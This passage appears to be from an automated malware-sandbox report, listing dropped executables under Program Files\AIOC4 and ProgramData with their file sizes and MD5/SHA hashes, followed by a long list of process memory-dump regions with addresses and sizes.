SHA2569cbe39bc416069bf5f46a9c9be411f887eea4cb691199e217a6a025dd798b2b3
SHA51291cfe842b660e54b63387485b882e00d617c5ca1d7cbff107fa6db9f7b898e85c5148d7a0355b5061adc21d0c17df2e3e4b2e99c721c63e322a7abcc0768c494
-
\Program Files\AIOC4\StartNetApp.exeFilesize
513KB
MD5b8898b34fd4a62c12bd9828e22ac3e1d
SHA16ceea0d3619fec5eedb8fa8ecfe37cc5defc87a8
SHA2569cbe39bc416069bf5f46a9c9be411f887eea4cb691199e217a6a025dd798b2b3
SHA51291cfe842b660e54b63387485b882e00d617c5ca1d7cbff107fa6db9f7b898e85c5148d7a0355b5061adc21d0c17df2e3e4b2e99c721c63e322a7abcc0768c494
-
\Program Files\AIOC4\aria2\x64\aria2c.exeFilesize
4.9MB
MD5c5e143b5f381ac849e7a1b59a6dcbfa0
SHA112367ba9905921509f01b8b944af012011cc95b6
SHA256b151764ecbb164f25f8aeca3b93e0a18b63d108bbb1f33982fe4eea46b8ecab9
SHA512d7040e8e18bf200d8f6ac5bb653b4329cb2a38d8a96e6b0ca17b6e3f0a35bd68b32f32925fe6731b195a797f275607448a06594f0f2424b8b48fca3dfa144bfa
-
\Program Files\AIOC4\aria2\x64\aria2c.exeFilesize
4.9MB
MD5c5e143b5f381ac849e7a1b59a6dcbfa0
SHA112367ba9905921509f01b8b944af012011cc95b6
SHA256b151764ecbb164f25f8aeca3b93e0a18b63d108bbb1f33982fe4eea46b8ecab9
SHA512d7040e8e18bf200d8f6ac5bb653b4329cb2a38d8a96e6b0ca17b6e3f0a35bd68b32f32925fe6731b195a797f275607448a06594f0f2424b8b48fca3dfa144bfa
-
\Program Files\AIOC4\aria2\x64\aria2c.exeFilesize
4.9MB
MD5c5e143b5f381ac849e7a1b59a6dcbfa0
SHA112367ba9905921509f01b8b944af012011cc95b6
SHA256b151764ecbb164f25f8aeca3b93e0a18b63d108bbb1f33982fe4eea46b8ecab9
SHA512d7040e8e18bf200d8f6ac5bb653b4329cb2a38d8a96e6b0ca17b6e3f0a35bd68b32f32925fe6731b195a797f275607448a06594f0f2424b8b48fca3dfa144bfa
-
\ProgramData\s_a.exeFilesize
132KB
MD5f9424f1dd434a16011c5e59e7f345721
SHA101798ca075c3259c3c4f151f271931db6954be22
SHA2560fa181eca290a782dca587d91425ffe58f8d9ac83741998b6946b7ef5554dd99
SHA51281155925cc3fee6f07b695049654cd6b2151264f3404eb3b10a87cdfac6c23323f36700e5e8fb9406d5bf7b36be072d0ab2218670d8a29b850f379612829d3f4
-
memory/300-167-0x000000001CC70000-0x000000001CCFA000-memory.dmpFilesize
552KB
-
memory/300-142-0x0000000000000000-mapping.dmp
-
memory/300-160-0x000000001C080000-0x000000001C0DC000-memory.dmpFilesize
368KB
-
memory/300-158-0x000000001B7F6000-0x000000001B815000-memory.dmpFilesize
124KB
-
memory/300-162-0x000000001AD30000-0x000000001AD40000-memory.dmpFilesize
64KB
-
memory/300-163-0x000000001C7C0000-0x000000001C82C000-memory.dmpFilesize
432KB
-
memory/300-183-0x000000001B7F6000-0x000000001B815000-memory.dmpFilesize
124KB
-
memory/388-135-0x0000000000000000-mapping.dmp
-
memory/524-143-0x0000000000000000-mapping.dmp
-
memory/528-129-0x0000000000000000-mapping.dmp
-
memory/556-147-0x0000000000C80000-0x0000000000C88000-memory.dmpFilesize
32KB
-
memory/584-89-0x0000000000000000-mapping.dmp
-
memory/596-99-0x0000000000000000-mapping.dmp
-
memory/612-132-0x0000000000000000-mapping.dmp
-
memory/688-128-0x0000000000000000-mapping.dmp
-
memory/772-90-0x0000000000000000-mapping.dmp
-
memory/840-85-0x0000000000000000-mapping.dmp
-
memory/848-54-0x0000000075E61000-0x0000000075E63000-memory.dmpFilesize
8KB
-
memory/848-57-0x0000000003260000-0x00000000033BA000-memory.dmpFilesize
1.4MB
-
memory/880-113-0x0000000000000000-mapping.dmp
-
memory/900-84-0x0000000000000000-mapping.dmp
-
memory/960-121-0x0000000000000000-mapping.dmp
-
memory/964-136-0x0000000000000000-mapping.dmp
-
memory/992-107-0x0000000000000000-mapping.dmp
-
memory/1032-111-0x0000000000000000-mapping.dmp
-
memory/1044-123-0x0000000000000000-mapping.dmp
-
memory/1048-112-0x0000000000000000-mapping.dmp
-
memory/1104-105-0x0000000000000000-mapping.dmp
-
memory/1120-157-0x0000000000830000-0x0000000000838000-memory.dmpFilesize
32KB
-
memory/1120-117-0x0000000000000000-mapping.dmp
-
memory/1292-109-0x0000000000000000-mapping.dmp
-
memory/1324-115-0x0000000000000000-mapping.dmp
-
memory/1344-98-0x0000000000000000-mapping.dmp
-
memory/1352-108-0x0000000000000000-mapping.dmp
-
memory/1356-82-0x000000001BDC0000-0x000000001C064000-memory.dmpFilesize
2.6MB
-
memory/1356-78-0x0000000000E30000-0x0000000001584000-memory.dmpFilesize
7.3MB
-
memory/1356-71-0x0000000000000000-mapping.dmp
-
memory/1380-133-0x0000000000000000-mapping.dmp
-
memory/1400-86-0x0000000000000000-mapping.dmp
-
memory/1404-96-0x0000000000000000-mapping.dmp
-
memory/1408-110-0x0000000000000000-mapping.dmp
-
memory/1464-131-0x0000000000000000-mapping.dmp
-
memory/1524-92-0x0000000000000000-mapping.dmp
-
memory/1524-179-0x0000000000D50000-0x0000000000D78000-memory.dmpFilesize
160KB
-
memory/1540-104-0x0000000000000000-mapping.dmp
-
memory/1560-101-0x0000000000000000-mapping.dmp
-
memory/1564-75-0x0000000000400000-0x000000000055A000-memory.dmpFilesize
1.4MB
-
memory/1564-61-0x0000000000000000-mapping.dmp
-
memory/1564-80-0x0000000002340000-0x0000000002350000-memory.dmpFilesize
64KB
-
memory/1564-74-0x0000000002340000-0x0000000002350000-memory.dmpFilesize
64KB
-
memory/1596-102-0x0000000000000000-mapping.dmp
-
memory/1600-95-0x0000000000000000-mapping.dmp
-
memory/1620-88-0x0000000000000000-mapping.dmp
-
memory/1628-130-0x0000000000000000-mapping.dmp
-
memory/1636-100-0x0000000000000000-mapping.dmp
-
memory/1640-87-0x0000000000000000-mapping.dmp
-
memory/1648-103-0x0000000000000000-mapping.dmp
-
memory/1668-119-0x0000000000000000-mapping.dmp
-
memory/1692-125-0x0000000000000000-mapping.dmp
-
memory/1708-122-0x0000000000000000-mapping.dmp
-
memory/1724-120-0x0000000000000000-mapping.dmp
-
memory/1728-97-0x0000000000000000-mapping.dmp
-
memory/1740-153-0x000000001B346000-0x000000001B365000-memory.dmpFilesize
124KB
-
memory/1740-149-0x000000001BEB0000-0x000000001C154000-memory.dmpFilesize
2.6MB
-
memory/1772-127-0x0000000000000000-mapping.dmp
-
memory/1772-151-0x0000000000300000-0x0000000000308000-memory.dmpFilesize
32KB
-
memory/1784-106-0x0000000000000000-mapping.dmp
-
memory/1792-139-0x0000000000000000-mapping.dmp
-
memory/1800-137-0x0000000000000000-mapping.dmp
-
memory/1804-91-0x0000000000000000-mapping.dmp
-
memory/1828-141-0x0000000000000000-mapping.dmp
-
memory/1836-77-0x0000000000FD0000-0x0000000000FF8000-memory.dmpFilesize
160KB
-
memory/1836-79-0x000007FEFC011000-0x000007FEFC013000-memory.dmpFilesize
8KB
-
memory/1836-68-0x0000000000000000-mapping.dmp
-
memory/1840-114-0x0000000000000000-mapping.dmp
-
memory/1848-138-0x0000000000000000-mapping.dmp
-
memory/1876-126-0x0000000000000000-mapping.dmp
-
memory/1884-140-0x0000000000000000-mapping.dmp
-
memory/1888-116-0x0000000000000000-mapping.dmp
-
memory/1932-93-0x0000000000000000-mapping.dmp
-
memory/1944-94-0x0000000000000000-mapping.dmp
-
memory/1996-124-0x0000000000000000-mapping.dmp
-
memory/2000-83-0x0000000000000000-mapping.dmp
-
memory/2012-134-0x0000000000000000-mapping.dmp
-
memory/2032-118-0x0000000000000000-mapping.dmp